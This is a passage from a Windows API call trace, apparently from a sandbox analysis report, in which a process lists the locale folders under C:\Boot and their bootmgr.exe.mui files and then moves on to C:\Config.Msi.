ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.686] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.686] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0057.686] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.687] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.687] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.687] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.687] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.687] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0057.687] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.688] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.688] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.688] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.688] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.688] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0057.688] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.768] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.768] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.768] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.769] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0057.769] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.769] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.769] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.769] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.769] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.769] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0057.769] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.859] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.859] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.860] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.860] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0057.860] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.860] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.860] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.860] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.860] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.860] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0057.860] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.950] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.950] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.951] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.951] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0057.951] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.951] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.951] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.951] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.952] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0057.952] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.990] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.991] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.991] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.991] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.991] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0057.991] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.991] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.991] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.991] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.991] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.991] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0057.991] FindClose (in: hFindFile=0x628500 | out: hFindFile=0x628500) returned 1 [0057.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3790268 | out: hHeap=0x5d0000) returned 1 [0057.992] FindNextFileW (in: hFindFile=0x65e210, lpFindFileData=0x2f3fd00 | out: lpFindFileData=0x2f3fd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0057.992] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, 